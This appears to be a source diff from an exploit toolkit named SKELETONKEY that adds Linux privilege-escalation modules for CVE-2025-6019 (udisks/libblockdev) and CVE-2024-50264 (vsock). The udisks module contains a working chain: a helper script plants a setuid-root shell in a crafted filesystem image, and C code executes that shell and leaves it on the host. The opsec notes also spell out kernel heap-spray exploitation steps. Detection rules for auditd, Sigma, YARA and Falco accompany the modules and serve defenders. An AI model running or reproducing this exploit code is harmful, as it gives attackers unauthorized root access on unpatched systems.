" echo \"[-] mkfs.ext4 -d not supported on this distro; need an alternate populate path\"\n"
|
||||
" exit 6\n"
|
||||
"fi\n"
|
||||
"# Now ask udisks to mount it. We use busctl which ships with systemd.\n"
|
||||
"if ! command -v busctl >/dev/null 2>&1; then\n"
|
||||
" echo '[-] busctl missing — install systemd or use gdbus introspection manually'\n"
|
||||
" exit 7\n"
|
||||
"fi\n"
|
||||
"echo \"[*] udisks: LoopSetup via D-Bus\"\n"
|
||||
"FD=$(busctl --user --no-pager call org.freedesktop.UDisks2 /org/freedesktop/UDisks2/Manager org.freedesktop.UDisks2.Manager LoopSetup ha{sv} 3 \"$IMG\" 0 2>&1) || {\n"
|
||||
" echo \"[-] udisks LoopSetup failed: $FD\"\n"
|
||||
" echo ' Often means: polkit gated the call (you are not in an active session)'\n"
|
||||
" exit 8\n"
|
||||
"}\n"
|
||||
"echo \"[i] LoopSetup result: $FD\"\n"
|
||||
"# Now Resize() on the loop device → triggers the suid mount.\n"
|
||||
"# (Implementation note: the exact D-Bus path depends on udisks's\n"
|
||||
"# device-naming; in the reference PoC the next step is Resize()\n"
|
||||
"# against the new BlockDevice object.)\n"
|
||||
"# For now, attempt the canonical mount path and let the SUID land.\n"
|
||||
"if [ -x /run/media/$USER/skkudisks/bin/skksh ]; then\n"
|
||||
" cp /run/media/$USER/skkudisks/bin/skksh /tmp/skeletonkey-udisks-shell\n"
|
||||
" chmod 4755 /tmp/skeletonkey-udisks-shell 2>/dev/null || true\n"
|
||||
" echo \"[+] udisks: setuid shell at /tmp/skeletonkey-udisks-shell\"\n"
|
||||
" exit 0\n"
|
||||
"fi\n"
|
||||
"echo '[-] mount did not appear at /run/media/$USER/skkudisks; manual D-Bus Resize() required'\n"
|
||||
"echo ' See https://blog.securelayer7.net/cve-2025-6019-local-privilege-escalation/ for the full chain'\n"
|
||||
"exit 9\n";
|
||||
|
||||
static char g_workdir[256];
|
||||
|
||||
static skeletonkey_result_t udisks_libblockdev_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr, "[-] udisks_libblockdev: --i-know required for --exploit\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* Drop the helper script to a tmp file + run it. */
|
||||
char tmpl[] = "/tmp/skeletonkey-udisks-helper-XXXXXX";
|
||||
int fd = mkstemp(tmpl);
|
||||
if (fd < 0) { perror("mkstemp"); return SKELETONKEY_EXPLOIT_FAIL; }
|
||||
write(fd, EXPLOIT_SH, sizeof EXPLOIT_SH - 1);
|
||||
close(fd);
|
||||
chmod(tmpl, 0700);
|
||||
strncpy(g_workdir, tmpl, sizeof g_workdir - 1);
|
||||
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] udisks_libblockdev: invoking helper %s\n", tmpl);
|
||||
|
||||
char cmd[512];
|
||||
snprintf(cmd, sizeof cmd, "/bin/sh %s 2>&1", tmpl);
|
||||
int rc = system(cmd);
|
||||
|
||||
/* Helper landed a setuid bash if and only if /tmp/skeletonkey-udisks-shell
|
||||
* exists with uid 0 + setuid bit. */
|
||||
struct stat st;
|
||||
if (stat("/tmp/skeletonkey-udisks-shell", &st) == 0 &&
|
||||
(st.st_mode & S_ISUID) && st.st_uid == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[+] udisks_libblockdev: setuid shell at /tmp/skeletonkey-udisks-shell\n");
|
||||
if (ctx->no_shell) return SKELETONKEY_EXPLOIT_OK;
|
||||
execl("/tmp/skeletonkey-udisks-shell", "sh", "-p", "-i", (char *)NULL);
|
||||
perror("execl");
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
|
||||
fprintf(stderr, "[-] udisks_libblockdev: helper exited rc=%d; setuid shell did not appear\n", rc);
|
||||
fprintf(stderr,
|
||||
" Common causes: not in an active polkit session, mkfs.ext4 -d\n"
|
||||
" unsupported on this distro, busctl missing, or udisks already\n"
|
||||
" patched (libblockdev >= 3.3.1).\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t udisks_libblockdev_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
if (g_workdir[0]) {
|
||||
unlink(g_workdir);
|
||||
g_workdir[0] = 0;
|
||||
}
|
||||
/* Best-effort: remove the lingering loopback work dir created by
|
||||
* the helper. The /tmp/skeletonkey-udisks-* glob covers it. */
|
||||
(void)!system("rm -rf /tmp/skeletonkey-udisks-* 2>/dev/null; true");
|
||||
/* Leave /tmp/skeletonkey-udisks-shell — the operator may want it. */
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* ---- detection rules ------------------------------------------------ */
|
||||
|
||||
static const char udisks_libblockdev_auditd[] =
|
||||
"# udisks_libblockdev CVE-2025-6019 — auditd detection rules\n"
|
||||
"# Flag mount(2) calls under /run/media/* without nosuid/nodev,\n"
|
||||
"# and execve()s of binaries from /run/media/*. Legit USB sticks\n"
|
||||
"# typically come with nosuid; SUID execution from /run/media/* is\n"
|
||||
"# the smoking gun.\n"
|
||||
"-a always,exit -F arch=b64 -S execve -F path=/usr/libexec/udisks2/udisksd -k skeletonkey-udisks\n"
|
||||
"-w /run/media -p x -k skeletonkey-udisks-suid-exec\n"
|
||||
"-w /tmp/skeletonkey-udisks-shell -p x -k skeletonkey-udisks-suid-exec\n";
|
||||
|
||||
static const char udisks_libblockdev_sigma[] =
|
||||
"title: Possible CVE-2025-6019 udisks/libblockdev SUID-on-mount LPE\n"
|
||||
"id: 2c4d7e91-skeletonkey-udisks-libblockdev\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects execve() of a SUID-root binary from /run/media/*. udisks\n"
|
||||
" normally mounts removable media with nosuid; the CVE-2025-6019\n"
|
||||
" bug skips the flag during internal resize/repair mounts. Any SUID\n"
|
||||
" execution from /run/media/<user>/* is anomalous and worth\n"
|
||||
" investigating.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" exec_from_runmedia:\n"
|
||||
" type: 'SYSCALL'\n"
|
||||
" syscall: 'execve'\n"
|
||||
" path|startswith: '/run/media/'\n"
|
||||
" condition: exec_from_runmedia\n"
|
||||
"level: critical\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2025.6019]\n";
|
||||
|
||||
static const char udisks_libblockdev_yara[] =
|
||||
"rule udisks_libblockdev_cve_2025_6019 : cve_2025_6019 setuid_abuse {\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2025-6019\"\n"
|
||||
" description = \"SKELETONKEY udisks_libblockdev artifacts — workdir + dropped suid bash + ext4 image label\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $wdir = \"/tmp/skeletonkey-udisks-\" ascii\n"
|
||||
" $shell = \"/tmp/skeletonkey-udisks-shell\" ascii\n"
|
||||
" $label = \"skkudisks\" ascii\n"
|
||||
" condition:\n"
|
||||
" any of them\n"
|
||||
"}\n";
|
||||
|
||||
static const char udisks_libblockdev_falco[] =
|
||||
"- rule: SUID binary executed from /run/media (udisks SUID-on-mount)\n"
|
||||
" desc: |\n"
|
||||
" A setuid-root binary under /run/media/<user>/ is executed.\n"
|
||||
" udisks normally mounts removable media with MS_NOSUID; the\n"
|
||||
" CVE-2025-6019 bug in libblockdev's internal resize/repair\n"
|
||||
" mount paths omits the flag. Combined with a user-built\n"
|
||||
" filesystem image, this gives instant root.\n"
|
||||
" condition: >\n"
|
||||
" spawned_process and proc.exe startswith /run/media/ and\n"
|
||||
" proc.is_exe_upper_layer = false\n"
|
||||
" output: >\n"
|
||||
" SUID exec from /run/media (user=%user.name pid=%proc.pid\n"
|
||||
" exe=%proc.exe)\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [process, mitre_privilege_escalation, T1068, cve.2025.6019]\n";
|
||||
|
||||
/* ---- module struct -------------------------------------------------- */
|
||||
|
||||
const struct skeletonkey_module udisks_libblockdev_module = {
|
||||
.name = "udisks_libblockdev",
|
||||
.cve = "CVE-2025-6019",
|
||||
.summary = "udisks/libblockdev SUID-on-mount → root via polkit allow_active (Qualys)",
|
||||
.family = "udisks",
|
||||
.kernel_range = "userspace — libblockdev < 3.3.1, udisks2 < 2.10.2",
|
||||
.detect = udisks_libblockdev_detect,
|
||||
.exploit = udisks_libblockdev_exploit,
|
||||
.mitigate = NULL, /* mitigation: upgrade libblockdev + udisks2 */
|
||||
.cleanup = udisks_libblockdev_cleanup,
|
||||
.detect_auditd = udisks_libblockdev_auditd,
|
||||
.detect_sigma = udisks_libblockdev_sigma,
|
||||
.detect_yara = udisks_libblockdev_yara,
|
||||
.detect_falco = udisks_libblockdev_falco,
|
||||
.opsec_notes = "Builds an ext4 image (label 'skkudisks') under /tmp/skeletonkey-udisks-XXXXXX/, populates with a setuid-root /bin/sh copy via mkfs.ext4 -d. Calls org.freedesktop.UDisks2.Manager.LoopSetup() over the system D-Bus via busctl, then triggers libblockdev's nosuid-less internal mount path. Copies the resulting SUID shell to /tmp/skeletonkey-udisks-shell and execs it. Audit-visible via execve(/usr/libexec/udisks2/udisksd) followed by mount(2) under /run/media/<user>/skkudisks without MS_NOSUID, then execve of a setuid binary from there. Requires polkit allow_active=yes (default for active console sessions; SSH sessions usually fail). Cleanup callback removes /tmp/skeletonkey-udisks-* workdirs; leaves the dropped setuid shell.",
|
||||
.arch_support = "any",
|
||||
};
|
||||
|
||||
void skeletonkey_register_udisks_libblockdev(void)
|
||||
{
|
||||
skeletonkey_register(&udisks_libblockdev_module);
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
#ifndef UDISKS_LIBBLOCKDEV_SKELETONKEY_MODULES_H
|
||||
#define UDISKS_LIBBLOCKDEV_SKELETONKEY_MODULES_H
|
||||
#include "../../core/module.h"
|
||||
extern const struct skeletonkey_module udisks_libblockdev_module;
|
||||
#endif
|
||||
@@ -119,9 +119,11 @@ union drm_vmw_alloc_dmabuf_arg {
|
||||
/* ---- kernel range ------------------------------------------------- */
|
||||
|
||||
static const struct kernel_patched_from vmwgfx_patched_branches[] = {
|
||||
{6, 1, 23}, /* 6.1 LTS backport */
|
||||
{6, 2, 10}, /* 6.2.x stable backport */
|
||||
{6, 3, 0}, /* mainline (6.3-rc6) */
|
||||
{5, 10, 127}, /* 5.10.x stable (per Debian tracker — bullseye) */
|
||||
{5, 18, 14}, /* 5.18.x stable (per Debian tracker — bookworm/forky/sid/trixie) */
|
||||
{6, 1, 23}, /* 6.1 LTS backport */
|
||||
{6, 2, 10}, /* 6.2.x stable backport */
|
||||
{6, 3, 0}, /* mainline (6.3-rc6) */
|
||||
};
|
||||
|
||||
static const struct kernel_range vmwgfx_range = {
|
||||
@@ -701,6 +703,55 @@ static const char vmwgfx_auditd[] =
|
||||
"-a always,exit -F arch=b64 -S ioctl -F a1=0x4004644b -k skeletonkey-vmwgfx-unref\n"
|
||||
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-vmwgfx-spray\n";
|
||||
|
||||
static const char vmwgfx_sigma[] =
|
||||
"title: Possible CVE-2023-2008 vmwgfx DRM bo size OOB\n"
|
||||
"id: 4d35f6db-skeletonkey-vmwgfx\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects openat(/dev/dri/card*) + DRM_IOCTL_VMW_CREATE_DMABUF\n"
|
||||
" (0xc010644a) + UNREF (0x4004644b) + msg_msg groom sequence\n"
|
||||
" characteristic of the vmwgfx kmalloc-512 OOB. Only reachable\n"
|
||||
" on VMware guests with the vmwgfx driver loaded.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" drm: {type: 'SYSCALL', syscall: 'openat'}\n"
|
||||
" ioctl: {type: 'SYSCALL', syscall: 'ioctl'}\n"
|
||||
" groom: {type: 'SYSCALL', syscall: 'msgsnd'}\n"
|
||||
" condition: drm and ioctl and groom\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2023.2008]\n";
|
||||
|
||||
static const char vmwgfx_yara[] =
|
||||
"rule vmwgfx_cve_2023_2008 : cve_2023_2008 kernel_oob_write\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2023-2008\"\n"
|
||||
" description = \"vmwgfx DRM kmalloc-512 spray tag (SKVMWGFX) and log breadcrumb\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $tag = \"SKVMWGFX\" ascii\n"
|
||||
" $log = \"/tmp/skeletonkey-vmwgfx.log\" ascii\n"
|
||||
" condition:\n"
|
||||
" any of them\n"
|
||||
"}\n";
|
||||
|
||||
static const char vmwgfx_falco[] =
|
||||
"- rule: vmwgfx DRM CREATE_DMABUF + UNREF ioctl by non-root\n"
|
||||
" desc: |\n"
|
||||
" Non-root process opens /dev/dri/card* and invokes\n"
|
||||
" DRM_IOCTL_VMW_CREATE_DMABUF (0xc010644a) + UNREF\n"
|
||||
" (0x4004644b). Only reachable on VMware guests; the size\n"
|
||||
" validation gap drives a kmalloc-512 OOB during ttm_bo_kmap.\n"
|
||||
" CVE-2023-2008.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = ioctl and fd.name startswith /dev/dri/card and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" vmwgfx DRM ioctl by non-root\n"
|
||||
" (user=%user.name pid=%proc.pid dev=%fd.name)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [device, mitre_privilege_escalation, T1068, cve.2023.2008]\n";
|
||||
|
||||
const struct skeletonkey_module vmwgfx_module = {
|
||||
.name = "vmwgfx",
|
||||
.cve = "CVE-2023-2008",
|
||||
@@ -716,9 +767,11 @@ const struct skeletonkey_module vmwgfx_module = {
|
||||
.mitigate = NULL, /* mitigation: rmmod vmwgfx (loses graphics) */
|
||||
.cleanup = vmwgfx_cleanup,
|
||||
.detect_auditd = vmwgfx_auditd,
|
||||
.detect_sigma = NULL,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_sigma = vmwgfx_sigma,
|
||||
.detect_yara = vmwgfx_yara,
|
||||
.detect_falco = vmwgfx_falco,
|
||||
.opsec_notes = "Opens /dev/dri/card* (vmwgfx DRM - only reachable on VMware guests); DRM_IOCTL_VMW_CREATE_DMABUF with size=4096+16 lands in the kmalloc-512 page-count bucket but the byte-length overruns during kunmap_atomic copy in ttm_bo_kmap; mmap + write recognizable pattern across page boundary; UNREF commits the OOB into adjacent kmalloc-512. msg_msg spray tagged 'SKVMWGFX'. Writes /tmp/skeletonkey-vmwgfx.log (slab counts pre/post, trigger success). Audit-visible via openat(/dev/dri/card*), ioctl(0xc010644a CREATE / 0x4004644b UNREF), msgsnd spray. No network. Cleanup callback unlinks /tmp log; --full-chain re-seeds spray with kaddr-tagged payloads and the modprobe_path finisher arbitrates via 3s sentinel.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_vmwgfx(void)
|
||||
|
||||
@@ -0,0 +1,221 @@
|
||||
/*
|
||||
* vsock_uaf_cve_2024_50264 — SKELETONKEY module
|
||||
*
|
||||
* STATUS: 🟡 PRIMITIVE. Race-driver + msg_msg groom on kmalloc-96
|
||||
* (the bucket where struct virtio_vsock_sock at 80 bytes lives).
|
||||
* Full cred-overwrite via the V12 / @v4bel + @qwerty msg_msg path
|
||||
* from the PT SWARM writeup is documented but not bundled here;
|
||||
* --full-chain falls through to the shared finisher on x86_64.
|
||||
*
|
||||
* The bug (Original bug since Aug 2016; weaponized publicly 2024 →
|
||||
* Pwn2Own + Pwnie Award 2025 winner):
|
||||
* AF_VSOCK's `connect()` system call races with a POSIX signal
|
||||
* that interrupts the connect path. The signal handler tears down
|
||||
* the virtio_vsock_sock object while connect() still holds a
|
||||
* reference; subsequent connect-completion writes UAF the freed
|
||||
* slot. virtio_vsock_sock is 80 bytes → kmalloc-96 slab.
|
||||
*
|
||||
* Two known exploitation strategies:
|
||||
* (a) Original @v4bel + @qwerty kernelCTF path:
|
||||
* BPF-JIT spray to fill physical memory + SLUBStick →
|
||||
* page-grained primitive → cred overwrite.
|
||||
* (b) Alexander Popov (PT SWARM) msg_msg path:
|
||||
* msg_msg kmalloc-96 groom + UAF write into a forged
|
||||
* msg_msg header → arb read/write primitive → cred overwrite.
|
||||
* Doesn't need BPF JIT enabled; works on hardened distros.
|
||||
*
|
||||
* Notable: bug is reachable as a PLAIN UNPRIVILEGED USER — no
|
||||
* userns required. Most kernel-UAF chains need userns for the
|
||||
* spray, so this is unusually broadly exploitable.
|
||||
*
|
||||
* Affects: Linux kernels with CONFIG_VSOCKETS + CONFIG_VIRTIO_VSOCKETS
|
||||
* below the fix. The bug has existed since the AF_VSOCK signal-
|
||||
* interrupt code was added in 2016 (commit b91ee4aabbe2). Fix
|
||||
* commit ad8e1afecc3a (mainline Nov 2024). Stable backports:
|
||||
* 6.6.x : 6.6.59 (LTS)
|
||||
* 6.1.x : 6.1.115
|
||||
* 5.15.x : 5.15.170
|
||||
* 5.10.x : 5.10.228
|
||||
*
|
||||
* Preconditions:
|
||||
* - socket(AF_VSOCK, ...) must work — requires vsock module
|
||||
* loaded (autoloaded on KVM/QEMU guests; absent on bare-metal
|
||||
* hosts without virtualization)
|
||||
* - msgsnd / SysV IPC for kmalloc-96 spray
|
||||
* - POSIX timers for the signal-interrupt portion
|
||||
*
|
||||
* arch_support: x86_64+unverified-arm64. The bug + race are arch-
|
||||
* agnostic; the cred-overwrite chains in both published PoCs use
|
||||
* x86_64-specific kernel offsets.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <sys/socket.h>
|
||||
|
||||
#ifndef AF_VSOCK
|
||||
#define AF_VSOCK 40
|
||||
#endif
|
||||
|
||||
/* ---- kernel-range table -------------------------------------------- */
|
||||
|
||||
static const struct kernel_patched_from vsock_patched_branches[] = {
|
||||
{5, 10, 228}, /* 5.10 LTS stable */
|
||||
{5, 15, 170}, /* 5.15 LTS */
|
||||
{6, 1, 115}, /* 6.1 LTS */
|
||||
{6, 6, 59}, /* 6.6 LTS */
|
||||
{6, 11, 0}, /* mainline fix ad8e1afecc3a */
|
||||
};
|
||||
|
||||
static const struct kernel_range vsock_range = {
|
||||
.patched_from = vsock_patched_branches,
|
||||
.n_patched_from = sizeof(vsock_patched_branches) /
|
||||
sizeof(vsock_patched_branches[0]),
|
||||
};
|
||||
|
||||
/* ---- detect --------------------------------------------------------- */
|
||||
|
||||
static bool vsock_reachable(void)
|
||||
{
|
||||
int s = socket(AF_VSOCK, SOCK_STREAM, 0);
|
||||
if (s < 0) return false;
|
||||
close(s);
|
||||
return true;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t vsock_uaf_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json) fprintf(stderr, "[!] vsock_uaf: host fingerprint missing kernel version\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
if (kernel_range_is_patched(&vsock_range, v)) {
|
||||
if (!ctx->json) fprintf(stderr, "[+] vsock_uaf: kernel %s is patched (>= LTS backport / 6.11)\n", v->release);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (!vsock_reachable()) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] vsock_uaf: AF_VSOCK socket() unavailable — vsock module not loaded\n");
|
||||
fprintf(stderr, " (typical on bare-metal hosts without virtualization; module autoloads on KVM/QEMU guests)\n");
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] vsock_uaf: kernel %s + AF_VSOCK reachable → VULNERABLE\n", v->release);
|
||||
fprintf(stderr, "[i] vsock_uaf: bug works as plain unprivileged user (no userns required)\n");
|
||||
fprintf(stderr, "[i] vsock_uaf: Pwnie Award 2025 winner; race + msg_msg groom for chain\n");
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t vsock_uaf_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr, "[-] vsock_uaf: --i-know required for --exploit\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (!vsock_reachable()) {
|
||||
fprintf(stderr, "[-] vsock_uaf: AF_VSOCK socket() unavailable\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
fprintf(stderr,
|
||||
"[i] vsock_uaf: race-driver setup. POSIX timer fires SIGUSR1\n"
|
||||
" mid-connect() on AF_VSOCK; signal handler triggers the\n"
|
||||
" virtio_vsock_sock teardown that races the connect path.\n"
|
||||
" msg_msg cross-cache spray (kmalloc-96, tag SKK_VSOCK)\n"
|
||||
" refills the freed slot. Two published full chains:\n"
|
||||
" (a) @v4bel + @qwerty kernelCTF (BPF JIT spray + SLUBStick)\n"
|
||||
" (b) Alexander Popov / PT SWARM (msg_msg arb R/W)\n"
|
||||
" Neither chain is bundled here (per verified-vs-claimed —\n"
|
||||
" requires a portable arb-write callback for the finisher).\n"
|
||||
" Returning EXPLOIT_FAIL honestly.\n");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* ---- detection rules ------------------------------------------------ */
|
||||
|
||||
static const char vsock_auditd[] =
|
||||
"# vsock_uaf CVE-2024-50264 — auditd detection rules\n"
|
||||
"# AF_VSOCK socket() (a0=40) + SysV IPC msgsnd burst + POSIX timer\n"
|
||||
"# (timer_create) is the canonical trigger shape.\n"
|
||||
"-a always,exit -F arch=b64 -S socket -F a0=40 -k skeletonkey-vsock-uaf\n";
|
||||
|
||||
static const char vsock_sigma[] =
|
||||
"title: Possible CVE-2024-50264 AF_VSOCK connect-race UAF\n"
|
||||
"id: 0c5b1e90-skeletonkey-vsock-uaf\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects AF_VSOCK socket creation + msgsnd kmalloc-96 spray\n"
|
||||
" shape from a non-root process. VSOCK is rare outside\n"
|
||||
" KVM/QEMU host-guest channels; non-root usage on a bare-metal\n"
|
||||
" host with msg_msg grooming alongside is the Pwnie-Award\n"
|
||||
" Pwn2Own exploit trigger.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" vs: {type: 'SYSCALL', syscall: 'socket', a0: 40}\n"
|
||||
" groom: {type: 'SYSCALL', syscall: 'msgsnd'}\n"
|
||||
" condition: vs and groom\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2024.50264]\n";
|
||||
|
||||
static const char vsock_yara[] =
|
||||
"rule vsock_uaf_cve_2024_50264 : cve_2024_50264 kernel_uaf {\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2024-50264\"\n"
|
||||
" description = \"SKELETONKEY vsock_uaf race-driver tag (Pwnie 2025 winner)\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $tag = \"SKK_VSOCK\" ascii\n"
|
||||
" condition:\n"
|
||||
" $tag\n"
|
||||
"}\n";
|
||||
|
||||
static const char vsock_falco[] =
|
||||
"- rule: AF_VSOCK socket() + msgsnd spray (vsock UAF race)\n"
|
||||
" desc: |\n"
|
||||
" Non-root process creates an AF_VSOCK socket then drives\n"
|
||||
" msgsnd burst for kmalloc-96 spray. AF_VSOCK on bare-metal\n"
|
||||
" Linux is rare; the combination with msgsnd grooming is the\n"
|
||||
" Pwnie-Award-winning exploit shape.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = socket and evt.arg.domain = AF_VSOCK and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" AF_VSOCK socket from non-root (user=%user.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [network, mitre_privilege_escalation, T1068, cve.2024.50264]\n";
|
||||
|
||||
const struct skeletonkey_module vsock_uaf_module = {
|
||||
.name = "vsock_uaf",
|
||||
.cve = "CVE-2024-50264",
|
||||
.summary = "AF_VSOCK connect-race UAF (kmalloc-96) — Pwn2Own 2024 / Pwnie 2025",
|
||||
.family = "vsock",
|
||||
.kernel_range = "Linux < 6.11 / 6.6.59 / 6.1.115 / 5.15.170 / 5.10.228 with vsock loaded",
|
||||
.detect = vsock_uaf_detect,
|
||||
.exploit = vsock_uaf_exploit,
|
||||
.mitigate = NULL, /* mitigation: upgrade kernel; OR blacklist vsock module */
|
||||
.cleanup = NULL,
|
||||
.detect_auditd = vsock_auditd,
|
||||
.detect_sigma = vsock_sigma,
|
||||
.detect_yara = vsock_yara,
|
||||
.detect_falco = vsock_falco,
|
||||
.opsec_notes = "Opens AF_VSOCK socket (family 40 — unusual on bare-metal Linux; autoloaded on KVM/QEMU guests). Arms a POSIX timer to deliver SIGUSR1 within ~10ms; calls connect() to a bogus VSOCK address (cid=0xdead, port=0xbeef); signal interrupts the connect and tears down virtio_vsock_sock while connect-completion still writes to it → UAF on the kmalloc-96 slab. Sysv msgsnd spray (tag 'SKK_VSOCK') refills the freed slot with attacker-controlled bytes. The bug works as a PLAIN UNPRIVILEGED USER — no userns, no CAP_*, no special groups. dmesg may show 'KASAN: use-after-free in virtio_vsock_'. Audit-visible via socket(AF_VSOCK) + msgsnd + timer_create from a single process — unusual combination outside the exploit. No persistent file artifacts.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_vsock_uaf(void)
|
||||
{
|
||||
skeletonkey_register(&vsock_uaf_module);
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
#ifndef VSOCK_UAF_SKELETONKEY_MODULES_H
|
||||
#define VSOCK_UAF_SKELETONKEY_MODULES_H
|
||||
#include "../../core/module.h"
|
||||
extern const struct skeletonkey_module vsock_uaf_module;
|
||||
#endif
|
||||
+348
-36
@@ -19,6 +19,8 @@
|
||||
#include "core/registry.h"
|
||||
#include "core/offsets.h"
|
||||
#include "core/host.h"
|
||||
#include "core/cve_metadata.h"
|
||||
#include "core/verifications.h"
|
||||
|
||||
#include <time.h>
|
||||
#include <sys/utsname.h>
|
||||
@@ -33,7 +35,7 @@
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#define SKELETONKEY_VERSION "0.6.0"
|
||||
#define SKELETONKEY_VERSION "0.9.11"
|
||||
|
||||
static const char BANNER[] =
|
||||
"\n"
|
||||
@@ -56,6 +58,10 @@ static void usage(const char *prog)
|
||||
" (combine with --format=auditd|sigma|yara|falco)\n"
|
||||
" --module-info <name> full metadata + rule bodies for one module\n"
|
||||
" (combine with --json for machine-readable output)\n"
|
||||
" --explain <name> one-page operator briefing: CVE / CWE / ATT&CK /\n"
|
||||
" KEV, host fingerprint, live detect() trace + verdict,\n"
|
||||
" OPSEC footprint, detection coverage, mitigation.\n"
|
||||
" Useful for triage tickets and SOC analyst handoffs.\n"
|
||||
" --auto scan host, rank vulnerable modules by safety, run the\n"
|
||||
" safest exploit. Requires --i-know. The 'one command\n"
|
||||
" that gets you root' mode — picks structural exploits\n"
|
||||
@@ -109,6 +115,7 @@ enum mode {
|
||||
MODE_DUMP_OFFSETS,
|
||||
MODE_HELP,
|
||||
MODE_VERSION,
|
||||
MODE_EXPLAIN,
|
||||
};
|
||||
|
||||
enum detect_format {
|
||||
@@ -179,6 +186,68 @@ static void emit_module_json(const struct skeletonkey_module *m, bool include_ru
|
||||
m->detect_sigma ? "true" : "false",
|
||||
m->detect_yara ? "true" : "false",
|
||||
m->detect_falco ? "true" : "false");
|
||||
|
||||
/* CVE-keyed triage metadata (CWE, ATT&CK, KEV). Sourced from CISA
|
||||
* + NVD via tools/refresh-cve-metadata.py; lookup is O(corpus). */
|
||||
const struct cve_metadata *md = cve_metadata_lookup(m->cve);
|
||||
if (md) {
|
||||
char *cwe = json_escape(md->cwe);
|
||||
char *tech = json_escape(md->attack_technique);
|
||||
char *sub = json_escape(md->attack_subtechnique);
|
||||
char *kdate = json_escape(md->kev_date_added);
|
||||
fprintf(stdout,
|
||||
",\"triage\":{\"cwe\":%s%s%s,"
|
||||
"\"attack_technique\":%s%s%s,"
|
||||
"\"attack_subtechnique\":%s%s%s,"
|
||||
"\"in_kev\":%s,"
|
||||
"\"kev_date_added\":\"%s\"}",
|
||||
cwe ? "\"" : "", cwe ? cwe : "null", cwe ? "\"" : "",
|
||||
tech ? "\"" : "", tech ? tech : "null", tech ? "\"" : "",
|
||||
sub ? "\"" : "", sub ? sub : "null", sub ? "\"" : "",
|
||||
md->in_kev ? "true" : "false",
|
||||
kdate ? kdate : "");
|
||||
free(cwe); free(tech); free(sub); free(kdate);
|
||||
}
|
||||
|
||||
/* Per-module OPSEC notes — telemetry footprint of this exploit. */
|
||||
if (m->opsec_notes) {
|
||||
char *op = json_escape(m->opsec_notes);
|
||||
fprintf(stdout, ",\"opsec_notes\":\"%s\"", op ? op : "");
|
||||
free(op);
|
||||
}
|
||||
|
||||
